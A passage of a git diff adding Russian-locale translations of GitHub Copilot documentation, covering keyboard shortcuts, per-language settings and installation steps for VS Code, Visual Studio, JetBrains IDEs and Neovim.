для которых требуется отключить {% data variables.product.prodname_copilot %}. + +{% data reusables.copilot.dotcom-settings %} diff --git a/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-neovim.md b/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-neovim.md new file mode 100644 index 000000000000..0049ee69d637 --- /dev/null +++ b/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-neovim.md @@ -0,0 +1,24 @@ +--- +title: Настройка GitHub Copilot в Neovim +intro: 'Вы можете включить, настроить и отключить {% data variables.product.prodname_copilot %} в Neovim.' +product: '{% data reusables.gated-features.copilot %}' +versions: + feature: copilot +topics: + - Copilot +shortTitle: Neovim +ms.openlocfilehash: 86d052b4ff7402fef92afdc1ae4e1af03f91bd6e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147080618' +--- +## Настройка {% data variables.product.prodname_copilot %} в Neovim + +Рекомендации по настройке {% data variables.product.prodname_copilot %} в Neovim можно найти в документации {% data variables.product.prodname_copilot %} в Neovim, выполнив следующую команду. + + + :help copilot + +{% data reusables.copilot.dotcom-settings %} diff --git a/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md b/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md new file mode 100644 index 000000000000..71acd9b0ffe0 --- /dev/null +++ b/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md @@ -0,0 +1,118 @@ +--- +title: Настройка GitHub Copilot в Visual Studio Code +intro: 'Вы можете включить, настроить и отключить {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_vscode %}.' +product: '{% data reusables.gated-features.copilot %}' +versions: + feature: copilot +shortTitle: Visual Studio Code +topics: + - Copilot +ms.openlocfilehash: 0c91f9c11f98669ba6bcbf84113a629ae6d53044 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147080601' +--- +## Сведения о {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_vscode %} + +Если вы используете {% data variables.product.prodname_vscode %}, {% data variables.product.prodname_copilot %} может автоматически завершать код по мере ввода. После установки можно включить или отключить {% data variables.product.prodname_copilot %}, а также настроить дополнительные параметры в {% data variables.product.prodname_vscode %} или на {% data variables.product.prodname_dotcom_the_website %}. + +## Предварительные требования + +Чтобы настроить {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_vscode %}, установите подключаемый модуль {% data variables.product.prodname_copilot %}. Дополнительные сведения см. в разделе [Начало работы с {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code). + +## Сочетания клавиш для {% data variables.product.prodname_copilot %} + +Сочетания клавиш по умолчанию можно использовать в {% data variables.product.prodname_vscode %} при использовании {% data variables.product.prodname_copilot %}. Кроме того, можно изменить привязку сочетаний клавиш в редакторе сочетаний клавиш, указав предпочитаемые сочетания клавиш для каждой конкретной команды. Вы можете найти каждое сочетание клавиш по имени команды в редакторе сочетаний клавиш. + +{% mac %} + +| Действие | Сочетание клавиш | Имя команды | +|:---|:---|:---| +|Принять встроенное предложение|<kbd>Вкладка</kbd>|editor.action.inlineSuggest.commit| +|Отклонить встроенное предложение|<kbd>ESC</kbd>|editor.action.inlineSuggest.hide| +|Показать следующее встроенное предложение| <kbd>Option (⌥)</kbd>+<kbd>]</kbd><br> |editor.action.inlineSuggest.showNext| +|Показать предыдущее встроенное предложение| <kbd>Option (⌥)</kbd>+<kbd>[</kbd><br> |editor.action.inlineSuggest.showPrevious| +|Активировать встроенное предложение| <kbd>Option (⌥)</kbd>+<kbd>\</kbd><br> |editor.action.inlineSuggest.trigger| +|Открыть {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>CTRL</kbd>+<kbd>RETURN</kbd>|github.copilot.generate| +|Включить/отключить {% data variables.product.prodname_copilot %}|_Нет сочетания клавиш по умолчанию_|github.copilot.toggleCopilot| + +{% endmac %} + +{% windows %} + +| Действие | Сочетание клавиш | Имя команды | +|:---|:---|:---| +|Принять встроенное предложение|<kbd>Вкладка</kbd>|editor.action.inlineSuggest.commit| +|Отклонить встроенное предложение|<kbd>ESC</kbd>|editor.action.inlineSuggest.hide| +|Показать следующее встроенное предложение|<kbd>ALT</kbd>+<kbd>]</kbd> |editor.action.inlineSuggest.showNext| +|Показать предыдущее встроенное предложение|<kbd>ALT</kbd>+<kbd>[</kbd>|editor.action.inlineSuggest.showPrevious| +|Активировать встроенное предложение|<kbd>ALT</kbd>+<kbd>\</kbd>|editor.action.inlineSuggest.trigger| +|Открыть {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>CTRL</kbd>+<kbd>ВВОД</kbd>|github.copilot.generate| +|Включить/отключить {% data variables.product.prodname_copilot %}|_Нет сочетания клавиш по умолчанию_|github.copilot.toggleCopilot| + +{% endwindows %} + + +{% linux %} + +| Действие | Сочетание клавиш | Имя команды | +|:---|:---|:---| +|Принять встроенное предложение|<kbd>Вкладка</kbd>|editor.action.inlineSuggest.commit| +|Отклонить встроенное предложение|<kbd>ESC</kbd>|editor.action.inlineSuggest.hide| +|Показать следующее встроенное предложение|<kbd>ALT</kbd>+<kbd>]</kbd> |editor.action.inlineSuggest.showNext| +|Показать предыдущее встроенное предложение|<kbd>ALT</kbd>+<kbd>[</kbd>|editor.action.inlineSuggest.showPrevious| +|Активировать встроенное предложение|<kbd>ALT</kbd>+<kbd>\</kbd>|editor.action.inlineSuggest.trigger| +|Открыть {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>CTRL</kbd>+<kbd>ВВОД</kbd>|github.copilot.generate| +|Включить/отключить {% data variables.product.prodname_copilot %}|_Нет сочетания клавиш по умолчанию_|github.copilot.toggleCopilot| + +{% endlinux %} + +## Повторное связывание сочетаний клавиш + +Если вы не хотите использовать сочетания клавиш по умолчанию в {% data variables.product.prodname_vscode %} при использовании {% data variables.product.prodname_copilot %}, можно повторно привязать сочетания клавиш в редакторе сочетаний клавиш, указав предпочитаемые сочетания клавиш для каждой конкретной команды. + +1. В меню **Файл** выберите пункт **Параметры** и щелкните **Сочетания клавиш**. +![Снимок экрана: сочетания клавиш Visual Studio Code](/assets/images/help/copilot/vsc-keyboard-shortcuts.png) +1. В редакторе сочетаний клавиш найдите имя команды, которую нужно изменить. +![Снимок экрана: панель поиска сочетаний клавиш](/assets/images/help/copilot/vsc-shortcut-search-bar.png) +1. Рядом с командой, которую нужно изменить, щелкните значок карандаша. +![Снимок экрана: редактор сочетаний клавиш](/assets/images/help/copilot/vsc-edit-shortcuts.png) +1. Введите сочетание клавиш, которое вы хотите использовать для команды, а затем нажмите клавишу <kbd>ВВОД</kbd>/<kbd>RETURN</kbd>. +![Снимок экрана: текстовое поле "Изменить сочетание клавиш"](/assets/images/help/copilot/vsc-edit-shortcuts-textbox.png) + +{% data reusables.copilot.enabling-or-disabling-in-vsc %} + +## Включение или отключение встроенных предложений + +Вы можете включить или отключить встроенные предложения для {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_vscode %}. + +1. В меню **Файл** перейдите к разделу **Параметры** и выберите пункт **Параметры**. +![Снимок экрана: параметры {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/vsc-settings.png) +1. На левой панели вкладки "Параметры" щелкните **Расширения** и выберите **Copilot**. +1. В разделе "Встроенные предложения: включить" установите или снимите флажок, чтобы включить или отключить встроенные предложения. + +## Включение или отключение {% data variables.product.prodname_copilot %} для конкретных языков + +Вы можете указать языки, для которых требуется включить или отключить {% data variables.product.prodname_copilot %}. + +1. В {% data variables.product.prodname_vscode %} перейдите на вкладку **Расширения**, а затем перейдите к разделу **Copilot**. Дополнительные сведения см. в разделе [Включение и отключение встроенных предложений](#enabling-and-disabling-inline-suggestions). +1. В разделе "Включить или отключить Copilot для указанных языков" нажмите кнопку **Изменить в файле settings.json**. +1. В файле _settings.json_ добавьте или удалите языки, для которого требуется включить или отключить {% data variables.product.prodname_copilot %}. Например, чтобы включить Python в {% data variables.product.prodname_copilot %}, добавьте в список `"python": true`, убедившись, что после всех элементов списка, кроме последнего, стоит запятая. + + ```json + { + "editor.inlineSuggest.enabled": true, + "github.copilot.enable": { + "*": true, + "yaml": false, + "plaintext": false, + "markdown": true, + "javascript": true, + "python": true + } + } + ``` + +{% data reusables.copilot.dotcom-settings %} diff --git a/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio.md b/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio.md new file mode 100644 index 000000000000..722cc1ce1089 --- /dev/null +++ b/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio.md @@ -0,0 +1,60 @@ +--- +title: Настройка GitHub Copilot в Visual Studio +intro: 'Вы можете включить, настроить и отключить {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_vs %}.' +product: '{% data reusables.gated-features.copilot %}' +versions: + feature: copilot +shortTitle: Visual Studio +topics: + - Copilot +ms.openlocfilehash: cb24557b15eafd4a5be8ef1a991ae3c43f376c67 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147786032' +--- +## Сведения о {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_vs %} + +Если вы используете {% data variables.product.prodname_vs %}, {% data variables.product.prodname_copilot %} может автоматически завершать код по мере ввода. После установки можно включить или отключить {% data variables.product.prodname_copilot %}, а также настроить дополнительные параметры в {% data variables.product.prodname_vs %} или на сайте {% data variables.product.prodname_dotcom_the_website %}. + +## Предварительные требования + +Чтобы настроить {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_vs %}, установите подключаемый модуль {% data variables.product.prodname_copilot %}. Дополнительные сведения см. в статье [Начало работы с {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_vs %}](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio). + +## Сочетания клавиш для {% data variables.product.prodname_copilot %} + +Вы можете использовать сочетания клавиш по умолчанию в {% data variables.product.prodname_vs %} при использовании {% data variables.product.prodname_copilot %}. Кроме того, можно изменить привязку сочетаний клавиш в параметрах {% data variables.product.prodname_vs %} на вкладке "Средства", указав предпочитаемые сочетания клавиш для каждой конкретной команды. Вы можете найти каждое сочетание клавиш по имени команды в редакторе сочетаний клавиш. + +| Действие | Сочетание клавиш | Имя команды | +|:---|:---|:---| +|Показать следующее встроенное предложение|<kbd>CTRL</kbd>+<kbd>ALT</kbd>+<kbd>]</kbd>|Tools.Nextsuggestion| +|Показать предыдущее встроенное предложение|<kbd>CTRL</kbd>+<kbd>ALT</kbd>+<kbd>[</kbd>|Tools.Previoussuggestion| +|Активировать встроенное предложение|<kbd>CTRL</kbd>+<kbd>ALT</kbd>+<kbd>\</kbd>|Edit.Copilot.TriggerInlineSuggestion| + +## Повторная привязка сочетаний клавиш + +Если вы не хотите использовать сочетания клавиш по умолчанию в {% data variables.product.prodname_vs %} при использовании {% data variables.product.prodname_copilot %}, можно повторно привязать сочетания клавиш в редакторе сочетаний клавиш, указав предпочитаемые сочетания клавиш для каждой конкретной команды. + +1. На панели инструментов {% data variables.product.prodname_vs %} в разделе **Средства** щелкните **Параметры**. + ![Снимок экрана: элемент "Параметры" на панели инструментов {% data variables.product.prodname_vs %}](/assets/images/help/copilot/vs-toolbar-options.png) +1. В диалоговом окне "Параметры" в разделе **Среда** щелкните **Клавиатура**. + ![Снимок экрана: пункт "Клавиатура" в диалоговом окне "Параметры"](/assets/images/help/copilot/vs-options-dialogue.png) +1. В поле "Показать команды, содержащие:" найдите команду, которую требуется повторно привязать. + ![Снимок экрана: строка поиска "Показать команды, содержащие:"](/assets/images/help/copilot/vs-show-commands-containing.png) +1. В поле "Введите сочетание клавиш:" введите сочетание клавиш, которое нужно назначить команде, а затем нажмите кнопку **Назначить**. + ![Снимок экрана: назначение сочетания клавиш](/assets/images/help/copilot/vs-rebind-shortcut.png) + +{% data reusables.copilot.enabling-or-disabling-vs %} + +## Настройка ReSharper для {% data variables.product.prodname_copilot %} + +Если вы используете ReSharper, {% data variables.product.prodname_copilot %} будет лучше работать при настройке ReSharper для использования собственной технологии IntelliSense компонента {% data variables.product.prodname_copilot %}. Дополнительные сведения о ReSharper см. в [документации по ReSharper](https://www.jetbrains.com/resharper/documentation/documentation.html). + +1. На панели инструментов {% data variables.product.prodname_vs %} в разделе **Средства** щелкните **Параметры**. + ![Снимок экрана: элемент "Параметры" на панели инструментов {% data variables.product.prodname_vs %}](/assets/images/help/copilot/vs-toolbar-options.png) +1. В диалоговом окне "Параметры" в разделе **Среда** щелкните **IntelliSense** и выберите **Общие**. + ![Снимок экрана: пункт IntelliSense в диалоговом окне "Параметры"](/assets/images/help/copilot/vs-options-intellisense.png) +1. В разделе "Общие" выберите **Visual Studio** и нажмите кнопку **Сохранить**. + +{% data reusables.copilot.dotcom-settings %} diff --git a/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-settings-on-githubcom.md b/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-settings-on-githubcom.md new file mode 100644 index 000000000000..73fd592b8940 --- /dev/null +++ b/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-settings-on-githubcom.md @@ -0,0 +1,25 @@ +--- +title: Настройка параметров GitHub Copilot на сайте GitHub.com +intro: 'Вы можете настроить поведение {% data variables.product.prodname_copilot %} на сайте {% data variables.product.prodname_dotcom_the_website %}, которое будет влиять на работу {% data variables.product.prodname_copilot %} в любой используемой интегрированной среде разработки.' +product: '{% data reusables.gated-features.copilot %}' +miniTocMaxHeadingLevel: 3 +topics: + - Copilot +versions: + feature: copilot +redirect_from: + - /github/copilot/about-github-copilot-telemetry + - /github/copilot/github-copilot-telemetry-terms +shortTitle: GitHub.com +ms.openlocfilehash: cc87328504e3d9eb5e2bce83d981098b7f989ae0 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108836' +--- +## Сведения о параметрах {% data variables.product.prodname_copilot %} на сайте {% data variables.product.prodname_dotcom_the_website %} + +Помимо настройки подключаемого модуля {% data variables.product.prodname_copilot %} в поддерживаемой интегрированной среде разработки, вы можете настроить параметры для {% data variables.product.prodname_copilot %} на сайте {% data variables.product.prodname_dotcom_the_website %}. Параметры применяются везде, где вы используете {% data variables.product.prodname_copilot %}. + +{% data reusables.copilot.dotcom-settings %} diff --git a/translations/ru-RU/content/copilot/configuring-github-copilot/index.md b/translations/ru-RU/content/copilot/configuring-github-copilot/index.md new file mode 100644 index 000000000000..3afc3974f31f --- /dev/null +++ b/translations/ru-RU/content/copilot/configuring-github-copilot/index.md @@ -0,0 +1,22 @@ +--- +title: Настройка GitHub Copilot +shortTitle: Configure GitHub Copilot +intro: 'Вы можете включить, настроить или отключить {% data variables.product.prodname_copilot %} в поддерживаемой интегрированной среде разработки.' +versions: + feature: copilot +topics: + - Copilot +children: + - /configuring-github-copilot-settings-on-githubcom + - /configuring-github-copilot-in-visual-studio-code + - /configuring-github-copilot-in-visual-studio + - /configuring-github-copilot-in-a-jetbrains-ide + - /configuring-github-copilot-in-neovim +ms.openlocfilehash: e98ac2a1ac8c884776db54e3b8d2a1ea51fbebee +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147080598' +--- + diff --git a/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md b/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md new file mode 100644 index 000000000000..784262db660f --- /dev/null +++ b/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md @@ -0,0 +1,121 @@ +--- +title: Getting started with GitHub Copilot in a JetBrains IDE +shortTitle: JetBrains IDE +intro: 'Learn how to install {% data variables.product.prodname_copilot %} in a JetBrains IDE, and start seeing suggestions as you write comments and code.' +product: '{% data reusables.gated-features.copilot %}' +versions: + feature: copilot +topics: + - Copilot +--- + +## About {% data variables.product.prodname_copilot %} and JetBrains IDEs + +{% data reusables.copilot.procedural-intro %} + +If you use a JetBrains IDE, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor. This guide demonstrates how to use {% data variables.product.prodname_copilot %} within a JetBrains IDE for macOS, Windows, or Linux. + +## Prerequisites + +{% data reusables.copilot.jetbrains-ides %} + +## Installing the JetBrains extension + +To use {% data variables.product.prodname_copilot %} in a JetBrains IDE, you must install the {% data variables.product.prodname_copilot %} extension. The following procedure will guide you through installation of the {% data variables.product.prodname_copilot %} plugin in IntelliJ IDEA. Steps to install the plugin in another supported IDE may differ. + +1. In your JetBrains IDE, under the **File** menu for Windows or under the name of your IDE for Mac (for example, **PyCharm** or **IntelliJ**), click **Settings** for Windows or **Preferences** for Mac. +2. In the left-side menu of the **Settings/Preferences** dialog box, click **Plugins**. +3. At the top of the **Settings/Preferences** dialog box, click **Marketplace**. In the search bar, search for **{% data variables.product.prodname_copilot %}**, then click **Install**. + ![Screenshot of Marketplace search](/assets/images/help/copilot/jetbrains-marketplace.png) +1. After {% data variables.product.prodname_copilot %} is installed, click **Restart IDE**. +1. After your JetBrains IDE has restarted, click the **Tools** menu. Click **{% data variables.product.prodname_copilot %}**, then click **Login to {% data variables.product.prodname_dotcom %}**. + ![Screenshot of JetBrains tools menu](/assets/images/help/copilot/jetbrains-tools-menu.png) +1. In the "Sign in to {% data variables.product.prodname_dotcom %}" dialog box, to copy the device code and open the device activation window, click **Copy and Open**. + ![Screenshot of device code copy and open](/assets/images/help/copilot/device-code-copy-and-open.png) +1. A device activation window will open in your browser. Paste the device code, then click **Continue**. + + - To paste the code in Windows or Linux, press <kbd>Ctrl</kbd>+<kbd>v</kbd>. + - To paste the code in macOS, press <kbd>command</kbd>+<kbd>v</kbd>. +1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**. +1. After the permissions have been approved, your JetBrains IDE will show a confirmation. To begin using {% data variables.product.prodname_copilot %}, click **OK**. + ![Screenshot of JetBrains IDE permissions confirmation](/assets/images/help/copilot/jetbrains-ide-confirmation.png) + + +## Seeing your first suggestion + +{% data reusables.copilot.code-examples-limitations %} + +{% data reusables.copilot.supported-languages %} The following samples are in Java, but other languages will work similarly. + +{% data reusables.copilot.create-java-file %} +1. In the Java file, create a class by typing `class Test`. + {% data variables.product.prodname_copilot %} will automatically suggest a class body in grayed text, as shown below. The exact suggestion may vary. + ![Screenshot of the Java class body suggestion](/assets/images/help/copilot/java-class-body-suggestion-jetbrains.png) +{% data reusables.copilot.accept-suggestion %} +1. To prompt {% data variables.product.prodname_copilot %} to suggest a function body, type the following line below the bracket of the `main` function. The exact suggestion may vary. +{% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %} + + ![Screenshot of the Java function body suggestion](/assets/images/help/copilot/java-function-body-suggestion-jetbrains.png) +{% data reusables.copilot.accept-suggestion %} + +{% data variables.product.prodname_copilot %} will attempt to match the context and style of your code. You can always edit the suggested code. + +## Seeing alternative suggestions + +{% data reusables.copilot.alternative-suggestions %} + +{% data reusables.copilot.create-java-file %} +1. To prompt {% data variables.product.prodname_copilot %} to show you a suggestion, type the following line in the Java file. +{% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %} +{% data reusables.copilot.see-alternative-suggestions %} + + | OS | See next suggestion | See previous suggestion | + | :- | :- | :- | + | macOS | <kbd>Option</kbd>+<kbd>]</kbd> | <kbd>Option</kbd>+<kbd>[</kbd> | + | Windows | <kbd>Alt</kbd>+<kbd>]</kbd> | <kbd>Alt</kbd>+<kbd>[</kbd> | + | Linux | <kbd>Alt</kbd>+<kbd>]</kbd> | <kbd>Alt</kbd>+<kbd>[</kbd> | +{% data reusables.copilot.accept-or-reject-suggestion %} + +## Seeing multiple suggestions in a new tab + +{% data reusables.copilot.suggestions-new-tab %} + +{% data reusables.copilot.create-java-file %} +1. To prompt {% data variables.product.prodname_copilot %} to show you a suggestion, type the following line in the Java file. +{% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %} +1. Open a new tab with multiple additional suggestions. + - On macOS, press <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>A</kbd>, then click **Open GitHub Copilot**, or press <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>\</kbd> to open the new tab immediately. + - On Windows or Linux, press <kbd>Ctrl</kbd>+<kbd>Enter</kbd>, then click **Open GitHub Copilot**. + ![Screenshot of dialogue to open Copilot](/assets/images/help/copilot/open-copilot-tab-jetbrains.png) +1. To accept a suggestion, above the suggestion, click **Accept Solution**. To reject all suggestions, close the tab. + +## Generating code suggestions from comments + +{% data reusables.copilot.generating-suggestions-from-comments %} + +{% data reusables.copilot.create-java-file %} +1. To prompt {% data variables.product.prodname_copilot %} to suggest an implementation of a function in the Java file, type the following lines. + ```java{:copy} + // find all images without alternate text + // and give them a red border + void process () { + ``` + ![Screenshot of the Java function body suggestion](/assets/images/help/copilot/comment-suggestion-jetbrains.png) + +## Enabling and disabling {% data variables.product.prodname_copilot %} + +You can enable or disable {% data variables.product.prodname_copilot %} for all languages, or for individual languages. The {% data variables.product.prodname_copilot %} status icon in the bottom panel of your JetBrains IDE window indicates whether {% data variables.product.prodname_copilot %} is enabled or disabled. When enabled, the icon is highlighted. When disabled, the icon is grayed out. + +1. To enable or disable {% data variables.product.prodname_copilot %}, click the status icon in the bottom panel of the JetBrains window. + ![Screenshot of the status icon in IntelliJ IDEA](/assets/images/help/copilot/status-icon-jetbrains.png) +2. If you are disabling {% data variables.product.prodname_copilot %}, you will be asked whether you want to disable it globally, or for the language of the file you are currently editing. + + - To disable suggestions from {% data variables.product.prodname_copilot %} globally, click **Disable Completions**. + - To disable suggestions from {% data variables.product.prodname_copilot %} for the specified language, click **Disable Completions for _LANGUAGE_**. + ![Screenshot of option to disable {% data variables.product.prodname_copilot %} globally or for the current language](/assets/images/help/copilot/disable-copilot-global-or-langugage-jetbrains.png) + + +## Further reading + +- [The {% data variables.product.prodname_copilot %} website](https://copilot.github.com/) +- [About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot#about-the-license-for-the-github-copilot-plugin-in-jetbrains-ides) diff --git a/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md b/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md new file mode 100644 index 000000000000..d2ee7472265a --- /dev/null +++ b/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md @@ -0,0 +1,74 @@ +--- +title: Getting started with GitHub Copilot in Neovim +shortTitle: Neovim +product: '{% data reusables.gated-features.copilot %}' +intro: 'Learn how to install {% data variables.product.prodname_copilot %} in Neovim, and start seeing suggestions as you write comments and code.' +versions: + feature: copilot +topics: + - Copilot +--- + +## About {% data variables.product.prodname_copilot %} and Neovim + +{% data reusables.copilot.procedural-intro %} + +If you use a Neovim, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor. + +## Prerequisites + +- To use {% data variables.product.prodname_copilot %} you must have an active {% data variables.product.prodname_copilot %} subscription. For more information, see "[About billing for {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)." + +- To use {% data variables.product.prodname_copilot %} in Neovim you must have Neovim and Node.js version 17 or below installed. For more information, see the [Neovim documentation](https://neovim.io/doc/) and the [Node.js website](https://nodejs.org/en/). + +## Installing the Neovim extension + +{% mac %} + +{% data reusables.copilot.install-copilot-in-neovim %} + - To install {% data variables.product.prodname_copilot %} with Neovim's built-in plugin manager, enter the following command in Terminal. + + git clone https://github.com/github/copilot.vim \ + ~/.config/nvim/pack/github/start/copilot.vim + +{% data reusables.copilot.config-enable-copilot-in-neovim %} + +{% endmac %} + + +{% windows %} + +{% data reusables.copilot.install-copilot-in-neovim %} + - To install {% data variables.product.prodname_copilot %} with Neovim's built-in plugin manager, enter the following command in Git Bash. + + git clone https://github.com/github/copilot.vim.git ` + $HOME/AppData/Local/nvim/pack/github/start/copilot.vim + +{% data reusables.copilot.config-enable-copilot-in-neovim %} + +{% endwindows %} + + +{% linux %} + +{% data reusables.copilot.install-copilot-in-neovim %} + - To install {% data variables.product.prodname_copilot %} with Neovim's built-in plugin manager, enter the following command: + + git clone https://github.com/github/copilot.vim \ + ~/.config/nvim/pack/github/start/copilot.vim + +{% data reusables.copilot.config-enable-copilot-in-neovim %} + +{% endlinux %} + +## Learning to use {% data variables.product.prodname_copilot %} in Neovim + +For guidance on using {% data variables.product.prodname_copilot %} in Neovim, you can view the plugin documentation. To see the documentation, open Neovim and run the following command. + + ``` + :help copilot + ``` + +## Further reading + +- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/) diff --git a/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md b/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md new file mode 100644 index 000000000000..75694b710bac --- /dev/null +++ b/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md @@ -0,0 +1,114 @@ +--- +title: Getting started with GitHub Copilot in Visual Studio Code +shortTitle: Visual Studio Code +intro: 'Learn how to install {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, and start seeing suggestions as you write comments and code.' +product: '{% data reusables.gated-features.copilot %}' +versions: + feature: copilot +topics: + - Copilot +--- + +## About {% data variables.product.prodname_copilot %} and {% data variables.product.prodname_vscode %} + +{% data reusables.copilot.procedural-intro %} + +If you use {% data variables.product.prodname_vscode %}, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor. This guide demonstrates how to use {% data variables.product.prodname_copilot %} within {% data variables.product.prodname_vscode %} for macOS, Windows, or Linux. + +## Prerequisites + +To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, you must have {% data variables.product.prodname_vscode %} installed. For more information, see the [{% data variables.product.prodname_vscode %} download page](https://code.visualstudio.com/Download). + +## Installing the {% data variables.product.prodname_vscode %} extension + +To use {% data variables.product.prodname_copilot %}, you must first install the {% data variables.product.prodname_vscode %} extension. + +1. In the {% data variables.product.prodname_vscode %} Marketplace, go to the [{% data variables.product.prodname_copilot %} extension](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot) page and click **Install**. + ![Install {% data variables.product.prodname_copilot %} extension {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/install-copilot-extension-visual-studio-code.png) +1. A popup will appear, asking to open {% data variables.product.prodname_vscode %}. Click **Open {% data variables.product.prodname_vscode %}**. +1. In the "Extension: {% data variables.product.prodname_copilot %}" tab in {% data variables.product.prodname_vscode %}, click **Install**. + ![Install button in {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/in-visual-studio-code-install-button.png) +1. If you have not previously authorized {% data variables.product.prodname_vscode %} in your {% data variables.product.prodname_dotcom %} account, you will be prompted to sign in to {% data variables.product.prodname_dotcom %} in {% data variables.product.prodname_vscode %}. + - If you have previously authorized {% data variables.product.prodname_vscode %} for your account on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_copilot %} will be automatically authorized. + ![Screen shot of {% data variables.product.prodname_vscode %} authorization screen](/assets/images/help/copilot/vsc-copilot-authorize.png) +1. In your browser, {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_vscode %}**. +1. In {% data variables.product.prodname_vscode %}, in the "{% data variables.product.prodname_vscode %}" dialog box, to confirm the authentication, click **Open**. + + +## Seeing your first suggestion + +{% data reusables.copilot.code-examples-limitations %} + +{% data reusables.copilot.supported-languages %} The following samples are in JavaScript, but other languages will work similarly. + +{% data reusables.copilot.create-js-file %} +1. In the JavaScript file, type the following function header. {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text, as shown below. The exact suggestion may vary. + ```javascript{:copy} + function calculateDaysBetweenDates(begin, end) { + ``` + ![Screenshot of a first suggestion {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/first-suggestion-visual-studio-code.png) +{% data reusables.copilot.accept-suggestion %} + +## Seeing alternative suggestions + +{% data reusables.copilot.alternative-suggestions %} + +{% data reusables.copilot.create-js-file %} +1. In the JavaScript file, type the following function header. {% data variables.product.prodname_copilot %} will show you a suggestion. + ```javascript{:copy} + function calculateDaysBetweenDates(begin, end) { + ``` +{% data reusables.copilot.see-alternative-suggestions %} + + | OS | See next suggestion | See previous suggestion | + | :- | :- | :- | + |macOS|<kbd>Option (⌥) or Alt</kbd>+<kbd>]</kbd>|<kbd>Option (⌥) or Alt</kbd>+<kbd>[</kbd>| + |Windows|<kbd>Alt</kbd>+<kbd>]</kbd>|<kbd>Alt</kbd>+<kbd>[</kbd>| + 